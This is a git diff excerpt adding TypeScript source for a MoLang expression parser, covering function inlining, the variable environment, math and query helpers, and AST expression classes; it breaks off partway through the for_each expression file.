|
||||||
|
{
|
||||||
|
useCache: false,
|
||||||
|
keepGroups: true,
|
||||||
|
useOptimizer: true,
|
||||||
|
useAgressiveStaticOptimizer: true,
|
||||||
|
earlyReturnsSkipParsing: true,
|
||||||
|
earlyReturnsSkipTokenization: false,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
let totalScoped = 0
|
||||||
|
let ast = molang.parse(source)
|
||||||
|
|
||||||
|
let isComplexExpression = false
|
||||||
|
if (ast instanceof StatementExpression) {
|
||||||
|
isComplexExpression = true
|
||||||
|
}
|
||||||
|
|
||||||
|
let containsComplexExpressions = false
|
||||||
|
ast = ast.walk((expr: any) => {
|
||||||
|
// Only run code on function expressions which start with "f." or "function."
|
||||||
|
if (
|
||||||
|
expr.type !== 'FunctionExpression' ||
|
||||||
|
(!expr.name.name.startsWith?.('f.') &&
|
||||||
|
!expr.name.name.startsWith?.('function.'))
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
const nameExpr = expr.name
|
||||||
|
const functionName = nameExpr.name.replace(/(f|function)\./g, '')
|
||||||
|
const argValues = expr.args
|
||||||
|
|
||||||
|
let [args, functionBody] = this.functions.get(functionName) ?? []
|
||||||
|
if (!functionBody || !args) return
|
||||||
|
|
||||||
|
// Insert argument values
|
||||||
|
functionBody = functionBody.replace(
|
||||||
|
/(a|arg)\.(\w+)/g,
|
||||||
|
(match, prefix, argName) => {
|
||||||
|
const val =
|
||||||
|
argValues[args!.indexOf(argName)]?.toString() ?? '0'
|
||||||
|
|
||||||
|
return val.replace(/(t|temp)\./, 'outer_temp.')
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
let funcAst = transformStatement(molang.parse(functionBody))
|
||||||
|
if (funcAst instanceof StatementExpression) {
|
||||||
|
funcAst = molang.parse(`({${functionBody}}+t.return_value)`)
|
||||||
|
|
||||||
|
containsComplexExpressions = true
|
||||||
|
}
|
||||||
|
|
||||||
|
const varNameMap = new Map<string, string>()
|
||||||
|
funcAst = funcAst.walk((expr) => {
|
||||||
|
if (expr instanceof NameExpression) {
|
||||||
|
const fullName = expr.toString()
|
||||||
|
// Remove "a."/"t."/etc. from var name
|
||||||
|
let tmp = fullName.split('.')
|
||||||
|
const varType = tmp.shift()
|
||||||
|
const varName = tmp.join('.')
|
||||||
|
|
||||||
|
if (varType === 't' || varType === 'temp') {
|
||||||
|
// Scope temp./t. variables to functions
|
||||||
|
let newName = varNameMap.get(fullName)
|
||||||
|
if (!newName) {
|
||||||
|
newName = `t.__scvar${totalScoped++}`
|
||||||
|
varNameMap.set(fullName, newName)
|
||||||
|
}
|
||||||
|
|
||||||
|
expr.setName(newName)
|
||||||
|
} else if (varType === 'outer_temp') {
|
||||||
|
expr.setName(`t.${varName}`)
|
||||||
|
}
|
||||||
|
|
||||||
|
return undefined
|
||||||
|
} else if (expr instanceof ReturnExpression) {
|
||||||
|
const nameExpr = new NameExpression(
|
||||||
|
molang.getParser().executionEnv,
|
||||||
|
't.return_value'
|
||||||
|
)
|
||||||
|
const returnValExpr = expr.allExpressions[0]
|
||||||
|
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
nameExpr,
|
||||||
|
returnValExpr,
|
||||||
|
'=',
|
||||||
|
() => {
|
||||||
|
nameExpr.setPointer(returnValExpr.eval())
|
||||||
|
}
|
||||||
|
)
|
||||||
|
} else if (expr instanceof StatementExpression) {
|
||||||
|
// Make early returns work correctly by adjusting ternary statements which contain return statements
|
||||||
|
const expressions: IExpression[] = []
|
||||||
|
|
||||||
|
for (let i = 0; i < expr.allExpressions.length; i++) {
|
||||||
|
const currExpr = expr.allExpressions[i]
|
||||||
|
|
||||||
|
if (
|
||||||
|
currExpr instanceof TernaryExpression &&
|
||||||
|
currExpr.hasReturn
|
||||||
|
) {
|
||||||
|
handleTernary(
|
||||||
|
currExpr,
|
||||||
|
expr.allExpressions.slice(i + 1)
|
||||||
|
)
|
||||||
|
|
||||||
|
expressions.push(currExpr)
|
||||||
|
break
|
||||||
|
} else if (currExpr.isReturn) {
|
||||||
|
expressions.push(currExpr)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
expressions.push(currExpr)
|
||||||
|
}
|
||||||
|
|
||||||
|
return new StatementExpression(expressions)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
return funcAst
|
||||||
|
})
|
||||||
|
|
||||||
|
const finalAst = molang.parse(ast.toString())
|
||||||
|
molang.resolveStatic(finalAst)
|
||||||
|
return !isComplexExpression && containsComplexExpressions
|
||||||
|
? `return ${finalAst.toString()};`
|
||||||
|
: finalAst.toString()
|
||||||
|
}
|
||||||
|
|
||||||
|
reset() {
|
||||||
|
this.functions.clear()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleTernary(
|
||||||
|
returnTernary: TernaryExpression,
|
||||||
|
currentExpressions: IExpression[]
|
||||||
|
) {
|
||||||
|
// If & else branch end with return statements -> we can omit everything after the ternary
|
||||||
|
if (returnTernary.isReturn) return
|
||||||
|
|
||||||
|
const notReturningBranchIndex = returnTernary.allExpressions[2].isReturn
|
||||||
|
? 1
|
||||||
|
: 2
|
||||||
|
const notReturningBranch =
|
||||||
|
returnTernary.allExpressions[notReturningBranchIndex]
|
||||||
|
|
||||||
|
if (!(notReturningBranch instanceof VoidExpression)) {
|
||||||
|
if (
|
||||||
|
notReturningBranch instanceof GroupExpression &&
|
||||||
|
notReturningBranch.allExpressions[0] instanceof StatementExpression
|
||||||
|
) {
|
||||||
|
currentExpressions.unshift(...notReturningBranch.allExpressions)
|
||||||
|
} else {
|
||||||
|
currentExpressions.unshift(notReturningBranch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (currentExpressions.length > 0)
|
||||||
|
returnTernary.setExpressionAt(
|
||||||
|
notReturningBranchIndex,
|
||||||
|
new GroupExpression(
|
||||||
|
new StatementExpression(currentExpressions),
|
||||||
|
'{}'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
}
|
19
packages/molang/src/custom/transformStatement.ts
Normal file
19
packages/molang/src/custom/transformStatement.ts
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
import { IExpression } from '../parser/expression'
|
||||||
|
import { GroupExpression } from '../parser/expressions/group'
|
||||||
|
import { ReturnExpression } from '../parser/expressions/return'
|
||||||
|
import { StatementExpression } from '../parser/expressions/statement'
|
||||||
|
|
||||||
|
export function transformStatement(expression: IExpression) {
|
||||||
|
if (expression instanceof ReturnExpression)
|
||||||
|
return new GroupExpression(expression.allExpressions[0], '()')
|
||||||
|
if (!(expression instanceof StatementExpression)) return expression
|
||||||
|
if (expression.allExpressions.length > 1) return expression
|
||||||
|
|
||||||
|
// Only one statement, test whether it is a return statement
|
||||||
|
const expr = expression.allExpressions[0]
|
||||||
|
if (expr instanceof ReturnExpression) {
|
||||||
|
return new GroupExpression(expr.allExpressions[0], '()')
|
||||||
|
} else {
|
||||||
|
return expression
|
||||||
|
}
|
||||||
|
}
|
143
packages/molang/src/env/env.ts
vendored
Normal file
143
packages/molang/src/env/env.ts
vendored
Normal file
@ -0,0 +1,143 @@
|
|||||||
|
import { standardEnv } from './standardEnv'
|
||||||
|
|
||||||
|
export type TVariableHandler = (
|
||||||
|
variableName: string,
|
||||||
|
variables: Record<string, unknown>
|
||||||
|
) => unknown
|
||||||
|
|
||||||
|
export interface IEnvConfig {
|
||||||
|
useRadians?: boolean
|
||||||
|
convertUndefined?: boolean
|
||||||
|
variableHandler?: TVariableHandler
|
||||||
|
isFlat?: boolean
|
||||||
|
}
|
||||||
|
|
||||||
|
export class ExecutionEnvironment {
|
||||||
|
protected env: Record<string, any>
|
||||||
|
|
||||||
|
constructor(env: Record<string, any>, public readonly config: IEnvConfig) {
|
||||||
|
if (!env) throw new Error(`Provided environment must be an object`)
|
||||||
|
|
||||||
|
if (config.isFlat)
|
||||||
|
this.env = Object.assign(
|
||||||
|
env,
|
||||||
|
standardEnv(config.useRadians ?? false)
|
||||||
|
)
|
||||||
|
else
|
||||||
|
this.env = {
|
||||||
|
...standardEnv(config.useRadians ?? false),
|
||||||
|
...this.flattenEnv(env),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
updateConfig({
|
||||||
|
variableHandler,
|
||||||
|
convertUndefined,
|
||||||
|
useRadians,
|
||||||
|
}: IEnvConfig) {
|
||||||
|
if (convertUndefined !== undefined)
|
||||||
|
this.config.convertUndefined = convertUndefined
|
||||||
|
if (typeof variableHandler === 'function')
|
||||||
|
this.config.variableHandler = variableHandler
|
||||||
|
|
||||||
|
if (!!this.config.useRadians !== !!useRadians) {
|
||||||
|
this.env = Object.assign(this.env, standardEnv(!!useRadians))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected flattenEnv(
|
||||||
|
newEnv: Record<string, any>,
|
||||||
|
addKey = '',
|
||||||
|
current: any = {}
|
||||||
|
) {
|
||||||
|
for (let key in newEnv) {
|
||||||
|
if (key[1] === '.') {
|
||||||
|
switch (key[0]) {
|
||||||
|
case 'q':
|
||||||
|
key = 'query' + key.substring(1, key.length)
|
||||||
|
break
|
||||||
|
case 't':
|
||||||
|
key = 'temp' + key.substring(1, key.length)
|
||||||
|
break
|
||||||
|
case 'v':
|
||||||
|
key = 'variable' + key.substring(1, key.length)
|
||||||
|
break
|
||||||
|
case 'c':
|
||||||
|
key = 'context' + key.substring(1, key.length)
|
||||||
|
break
|
||||||
|
case 'f':
|
||||||
|
key = 'function' + key.substring(1, key.length)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (newEnv[key].__isContext) {
|
||||||
|
current[`${addKey}${key}`] = newEnv[key].env
|
||||||
|
} else if (
|
||||||
|
typeof newEnv[key] === 'object' &&
|
||||||
|
!Array.isArray(newEnv[key])
|
||||||
|
) {
|
||||||
|
this.flattenEnv(newEnv[key], `${addKey}${key}.`, current)
|
||||||
|
} else {
|
||||||
|
current[`${addKey}${key}`] = newEnv[key]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return current
|
||||||
|
}
|
||||||
|
|
||||||
|
setAt(lookup: string, value: unknown) {
|
||||||
|
if (lookup[1] === '.') {
|
||||||
|
switch (lookup[0]) {
|
||||||
|
case 'q':
|
||||||
|
lookup = 'query' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 't':
|
||||||
|
lookup = 'temp' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 'v':
|
||||||
|
lookup = 'variable' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 'c':
|
||||||
|
lookup = 'context' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 'f':
|
||||||
|
lookup = 'function' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (this.env[lookup] = value)
|
||||||
|
}
|
||||||
|
|
||||||
|
getFrom(lookup: string) {
|
||||||
|
if (lookup[1] === '.') {
|
||||||
|
switch (lookup[0]) {
|
||||||
|
case 'q':
|
||||||
|
lookup = 'query' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 't':
|
||||||
|
lookup = 'temp' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 'v':
|
||||||
|
lookup = 'variable' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 'c':
|
||||||
|
lookup = 'context' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
case 'f':
|
||||||
|
lookup = 'function' + lookup.substring(1, lookup.length)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const res =
|
||||||
|
this.env[lookup] ?? this.config.variableHandler?.(lookup, this.env)
|
||||||
|
return res === undefined && this.config.convertUndefined ? 0 : res
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export class Context {
|
||||||
|
public readonly __isContext = true
|
||||||
|
constructor(public readonly env: any) {}
|
||||||
|
}
|
86
packages/molang/src/env/math.ts
vendored
Normal file
86
packages/molang/src/env/math.ts
vendored
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
const clamp = (value: number, min: number, max: number) => {
|
||||||
|
if (typeof value !== 'number' || Number.isNaN(value)) return min
|
||||||
|
else if (value > max) return max
|
||||||
|
else if (value < min) return min
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
const dieRoll = (sum: number, low: number, high: number) => {
|
||||||
|
let i = 0
|
||||||
|
let total = 0
|
||||||
|
while (i < sum) total += random(low, high)
|
||||||
|
return total
|
||||||
|
}
|
||||||
|
const dieRollInt = (sum: number, low: number, high: number) => {
|
||||||
|
let i = 0
|
||||||
|
let total = 0
|
||||||
|
while (i < sum) total += randomInt(low, high)
|
||||||
|
return total
|
||||||
|
}
|
||||||
|
const hermiteBlend = (value: number) => 3 * value ** 2 - 2 * value ** 3
|
||||||
|
const lerp = (start: number, end: number, amount: number) => {
|
||||||
|
if (amount < 0) amount = 0
|
||||||
|
else if (amount > 1) amount = 1
|
||||||
|
|
||||||
|
return start + (end - start) * amount
|
||||||
|
}
|
||||||
|
// Written by @JannisX11 (https://github.com/JannisX11/MolangJS/blob/master/molang.js#L383); modified for usage inside of this MoLang parser
|
||||||
|
const lerprotate = (start: number, end: number, amount: number) => {
|
||||||
|
const radify = (n: number) => (((n + 180) % 360) + 180) % 360
|
||||||
|
start = radify(start)
|
||||||
|
end = radify(end)
|
||||||
|
if (start > end) {
|
||||||
|
let tmp = start
|
||||||
|
start = end
|
||||||
|
end = tmp
|
||||||
|
}
|
||||||
|
|
||||||
|
if (end - start > 180) return radify(end + amount * (360 - (end - start)))
|
||||||
|
else return start + amount * (end - start)
|
||||||
|
}
|
||||||
|
const mod = (value: number, denominator: number) => value % denominator
|
||||||
|
const random = (low: number, high: number) => low + Math.random() * (high - low)
|
||||||
|
const randomInt = (low: number, high: number) =>
|
||||||
|
Math.round(low + Math.random() * (high - low))
|
||||||
|
|
||||||
|
const minAngle = (value: number) => {
|
||||||
|
value = value % 360
|
||||||
|
value = (value + 360) % 360
|
||||||
|
|
||||||
|
if (value > 179) value -= 360
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
|
||||||
|
export const MoLangMathLib = (useRadians: boolean) => {
|
||||||
|
const degRadFactor = useRadians ? 1 : Math.PI / 180
|
||||||
|
|
||||||
|
return {
|
||||||
|
'math.abs': Math.abs,
|
||||||
|
'math.acos': (x: number) => Math.acos(x) / degRadFactor,
|
||||||
|
'math.asin': (x: number) => Math.asin(x) / degRadFactor,
|
||||||
|
'math.atan': (x: number) => Math.atan(x) / degRadFactor,
|
||||||
|
'math.atan2': (y: number, x: number) => Math.atan2(y, x) / degRadFactor,
|
||||||
|
'math.ceil': Math.ceil,
|
||||||
|
'math.clamp': clamp,
|
||||||
|
'math.cos': (x: number) => Math.cos(x * degRadFactor),
|
||||||
|
'math.die_roll': dieRoll,
|
||||||
|
'math.die_roll_integer': dieRollInt,
|
||||||
|
'math.exp': Math.exp,
|
||||||
|
'math.floor': Math.floor,
|
||||||
|
'math.hermite_blend': hermiteBlend,
|
||||||
|
'math.lerp': lerp,
|
||||||
|
'math.lerp_rotate': lerprotate,
|
||||||
|
'math.ln': Math.log,
|
||||||
|
'math.max': Math.max,
|
||||||
|
'math.min': Math.min,
|
||||||
|
'math.min_angle': minAngle,
|
||||||
|
'math.mod': mod,
|
||||||
|
'math.pi': Math.PI,
|
||||||
|
'math.pow': Math.pow,
|
||||||
|
'math.random': random,
|
||||||
|
'math.random_integer': randomInt,
|
||||||
|
'math.round': Math.round,
|
||||||
|
'math.sin': (x: number) => Math.sin(x * degRadFactor),
|
||||||
|
'math.sqrt': Math.sqrt,
|
||||||
|
'math.trunc': Math.trunc,
|
||||||
|
}
|
||||||
|
}
|
25
packages/molang/src/env/queries.ts
vendored
Normal file
25
packages/molang/src/env/queries.ts
vendored
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
const inRange = (value: number, min: number, max: number) => {
|
||||||
|
// Check that value, min and max are numbers
|
||||||
|
if (
|
||||||
|
typeof value !== 'number' ||
|
||||||
|
typeof min !== 'number' ||
|
||||||
|
typeof max !== 'number'
|
||||||
|
) {
|
||||||
|
console.error('"query.in_range": value, min and max must be numbers')
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return value >= min && value <= max
|
||||||
|
}
|
||||||
|
|
||||||
|
const all = (mustMatch: unknown, ...values: unknown[]) =>
|
||||||
|
values.every((v) => v === mustMatch)
|
||||||
|
|
||||||
|
const any = (mustMatch: unknown, ...values: unknown[]) =>
|
||||||
|
values.some((v) => v === mustMatch)
|
||||||
|
|
||||||
|
export const standardQueries = {
|
||||||
|
'query.in_range': inRange,
|
||||||
|
'query.all': all,
|
||||||
|
'query.any': any,
|
||||||
|
}
|
7
packages/molang/src/env/standardEnv.ts
vendored
Normal file
7
packages/molang/src/env/standardEnv.ts
vendored
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
import { MoLangMathLib } from './math'
|
||||||
|
import { standardQueries } from './queries'
|
||||||
|
|
||||||
|
export const standardEnv = (useRadians: boolean) => ({
|
||||||
|
...MoLangMathLib(useRadians),
|
||||||
|
...standardQueries,
|
||||||
|
})
|
1
packages/molang/src/index.ts
Normal file
1
packages/molang/src/index.ts
Normal file
@ -0,0 +1 @@
|
|||||||
|
export * from './main'
|
91
packages/molang/src/main.ts
Normal file
91
packages/molang/src/main.ts
Normal file
@ -0,0 +1,91 @@
|
|||||||
|
import { TVariableHandler } from './env/env'
|
||||||
|
import { Tokenizer } from './tokenizer/Tokenizer'
|
||||||
|
|
||||||
|
/**
|
||||||
|
* How the parser and interpreter should handle your MoLang expression
|
||||||
|
*/
|
||||||
|
|
||||||
|
export interface IParserConfig {
|
||||||
|
/**
|
||||||
|
* Whether a cache should be used to speed up executing MoLang.
|
||||||
|
* The cache saves an AST for every parsed expression.
|
||||||
|
* This allows us to skip the tokenization & parsing step before executing known MoLang expressions
|
||||||
|
*
|
||||||
|
* Default: true
|
||||||
|
*/
|
||||||
|
useCache: boolean
|
||||||
|
/**
|
||||||
|
* How many expressions can be cached. After reaching `maxCacheSize`, the whole cache is cleared automatically.
|
||||||
|
* Can be set to `Infinity` to remove the limit completely
|
||||||
|
*
|
||||||
|
* Default: 256
|
||||||
|
*/
|
||||||
|
maxCacheSize: number
|
||||||
|
/**
|
||||||
|
* The optimizer can drastically speed up parsing & executing MoLang.
|
||||||
|
* It enables skipping of unreachable statements, pre-evaluating static expressions and skipping of statements with no effect
|
||||||
|
* when used together with the `useAgressiveStaticOptimizer` option
|
||||||
|
*
|
||||||
|
* Default: true
|
||||||
|
*/
|
||||||
|
useOptimizer: boolean
|
||||||
|
/**
|
||||||
|
* Skip execution of statements with no effect
|
||||||
|
* when used together with the `useOptimizer` option
|
||||||
|
*
|
||||||
|
* Default: true
|
||||||
|
*/
|
||||||
|
useAgressiveStaticOptimizer: boolean
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This options makes early return statements skip all parsing work completely
|
||||||
|
*
|
||||||
|
* Default: true
|
||||||
|
*/
|
||||||
|
earlyReturnsSkipParsing: boolean
|
||||||
|
/**
|
||||||
|
* This options makes early return statements skip all tokenization work completely if earlyReturnsSkipParsing is set to true
|
||||||
|
*
|
||||||
|
* Default: true
|
||||||
|
*/
|
||||||
|
earlyReturnsSkipTokenization: boolean
|
||||||
|
/**
|
||||||
|
* Tokenizer to use for tokenizing the expression
|
||||||
|
*/
|
||||||
|
tokenizer: Tokenizer
|
||||||
|
/**
|
||||||
|
* Create expression instances for brackets ("()", "{}")
|
||||||
|
*
|
||||||
|
* This should only be set to true if you want to use the .toString() method of an expression
|
||||||
|
* or you want to iterate over the whole AST
|
||||||
|
*
|
||||||
|
* Default: false
|
||||||
|
*/
|
||||||
|
keepGroups: boolean
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Whether to convert undefined variables to "0"
|
||||||
|
*
|
||||||
|
* Default: false
|
||||||
|
*/
|
||||||
|
convertUndefined: boolean
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Use radians instead of degrees for trigonometric functions
|
||||||
|
*
|
||||||
|
* Default: false
|
||||||
|
*/
|
||||||
|
useRadians: boolean
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve undefined variables
|
||||||
|
*/
|
||||||
|
variableHandler: TVariableHandler
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Tokenizer } from './tokenizer/Tokenizer'
|
||||||
|
export { IExpression } from './parser/expression'
|
||||||
|
export { CustomMoLang } from './custom/main'
|
||||||
|
export { MoLang } from './MoLang'
|
||||||
|
export * as expressions from './parser/expressions/index'
|
||||||
|
export { Context } from './env/env'
|
57
packages/molang/src/parser/expression.ts
Normal file
57
packages/molang/src/parser/expression.ts
Normal file
@ -0,0 +1,57 @@
|
|||||||
|
/**
|
||||||
|
* Interface that describes an AST Expression
|
||||||
|
*/
|
||||||
|
export interface IExpression {
|
||||||
|
readonly type: string
|
||||||
|
readonly isReturn?: boolean
|
||||||
|
readonly isBreak?: boolean
|
||||||
|
readonly isContinue?: boolean
|
||||||
|
readonly allExpressions: IExpression[]
|
||||||
|
|
||||||
|
setFunctionCall?: (value: boolean) => void
|
||||||
|
setPointer?: (value: unknown) => void
|
||||||
|
setExpressionAt(index: number, expr: IExpression): void
|
||||||
|
eval(): unknown
|
||||||
|
isStatic(): boolean
|
||||||
|
walk(cb: TIterateCallback): IExpression
|
||||||
|
iterate(cb: TIterateCallback, visited: Set<IExpression>): void
|
||||||
|
}
|
||||||
|
|
||||||
|
export abstract class Expression implements IExpression {
|
||||||
|
public abstract readonly type: string
|
||||||
|
|
||||||
|
abstract eval(): unknown
|
||||||
|
abstract isStatic(): boolean
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `${this.eval()}`
|
||||||
|
}
|
||||||
|
|
||||||
|
abstract allExpressions: IExpression[]
|
||||||
|
abstract setExpressionAt(index: number, expr: IExpression): void
|
||||||
|
|
||||||
|
walk(cb: TIterateCallback, visited = new Set<IExpression>()): IExpression {
|
||||||
|
let expr = cb(this) ?? this
|
||||||
|
|
||||||
|
expr.iterate(cb, visited)
|
||||||
|
|
||||||
|
return expr
|
||||||
|
}
|
||||||
|
iterate(cb: TIterateCallback, visited: Set<IExpression>) {
|
||||||
|
for (let i = 0; i < this.allExpressions.length; i++) {
|
||||||
|
const originalExpr = this.allExpressions[i]
|
||||||
|
if (visited.has(originalExpr)) continue
|
||||||
|
else visited.add(originalExpr)
|
||||||
|
|
||||||
|
const expr = cb(originalExpr) ?? originalExpr
|
||||||
|
|
||||||
|
if (expr !== originalExpr && visited.has(expr)) continue
|
||||||
|
else visited.add(expr)
|
||||||
|
|
||||||
|
this.setExpressionAt(i, expr)
|
||||||
|
expr.iterate(cb, visited)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export type TIterateCallback = (expr: IExpression) => IExpression | undefined
|
32
packages/molang/src/parser/expressions/arrayAccess.ts
Normal file
32
packages/molang/src/parser/expressions/arrayAccess.ts
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class ArrayAccessExpression extends Expression {
|
||||||
|
type = 'ArrayAccessExpression'
|
||||||
|
constructor(protected name: IExpression, protected lookup: IExpression) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.name, this.lookup]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
if (index === 0) this.name = expr
|
||||||
|
else if (index === 1) this.lookup = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
setPointer(value: unknown) {
|
||||||
|
;(<any>this.name.eval())[<number>this.lookup.eval()] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return (<any>this.name.eval())[<number>this.lookup.eval()]
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `${this.name.toString()}[${this.lookup.toString()}]`
|
||||||
|
}
|
||||||
|
}
|
21
packages/molang/src/parser/expressions/boolean.ts
Normal file
21
packages/molang/src/parser/expressions/boolean.ts
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class BooleanExpression extends Expression {
|
||||||
|
type = 'BooleanExpression'
|
||||||
|
constructor(protected value: boolean) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.value
|
||||||
|
}
|
||||||
|
}
|
26
packages/molang/src/parser/expressions/break.ts
Normal file
26
packages/molang/src/parser/expressions/break.ts
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class BreakExpression extends Expression {
|
||||||
|
type = 'BreakExpression'
|
||||||
|
isBreak = true
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
isString() {
|
||||||
|
return 'break'
|
||||||
|
}
|
||||||
|
}
|
48
packages/molang/src/parser/expressions/contextSwitch.ts
Normal file
48
packages/molang/src/parser/expressions/contextSwitch.ts
Normal file
@ -0,0 +1,48 @@
|
|||||||
|
import { ExecutionEnvironment } from '../../env/env'
|
||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
import { NameExpression } from './name'
|
||||||
|
|
||||||
|
export class ContextSwitchExpression extends Expression {
|
||||||
|
type = 'NameExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected leftExpr: NameExpression,
|
||||||
|
protected rightExpr: NameExpression
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.leftExpr, this.rightExpr]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
if (!(expr instanceof NameExpression))
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use context switch operator "->" on ${expr.type}`
|
||||||
|
)
|
||||||
|
|
||||||
|
if (index === 0) this.leftExpr = expr
|
||||||
|
else if (index === 1) this.rightExpr = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
const context = this.leftExpr.eval()
|
||||||
|
if (typeof context !== 'object') return 0
|
||||||
|
|
||||||
|
this.rightExpr.setExecutionEnv(
|
||||||
|
new ExecutionEnvironment(
|
||||||
|
context,
|
||||||
|
this.rightExpr.executionEnv.config
|
||||||
|
)
|
||||||
|
)
|
||||||
|
return this.rightExpr.eval()
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `${this.leftExpr.toString()}->${this.rightExpr.toString()}`
|
||||||
|
}
|
||||||
|
}
|
26
packages/molang/src/parser/expressions/continue.ts
Normal file
26
packages/molang/src/parser/expressions/continue.ts
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class ContinueExpression extends Expression {
|
||||||
|
type = 'ContinueExpression'
|
||||||
|
isContinue = true
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
toString() {
|
||||||
|
return 'continue'
|
||||||
|
}
|
||||||
|
}
|
63
packages/molang/src/parser/expressions/forEach.ts
Normal file
63
packages/molang/src/parser/expressions/forEach.ts
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class ForEachExpression extends Expression {
|
||||||
|
type = 'ForEachExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected variable: IExpression,
|
||||||
|
protected arrayExpression: IExpression,
|
||||||
|
protected expression: IExpression
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
if (!this.variable.setPointer)
|
||||||
|
throw new Error(
|
||||||
|
`First for_each() argument must be a variable, received "${typeof this.variable.eval()}"`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
get isReturn() {
|
||||||
|
return this.expression.isReturn
|
||||||
|
}
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.variable, this.arrayExpression, this.expression]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
if (index === 0) this.variable = expr
|
||||||
|
else if (index === 1) this.arrayExpression = expr
|
||||||
|
else if (index === 2) this.expression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return (
|
||||||
|
this.variable.isStatic() &&
|
||||||
|
this.arrayExpression.isStatic() &&
|
||||||
|
this.expression.isStatic()
|
||||||
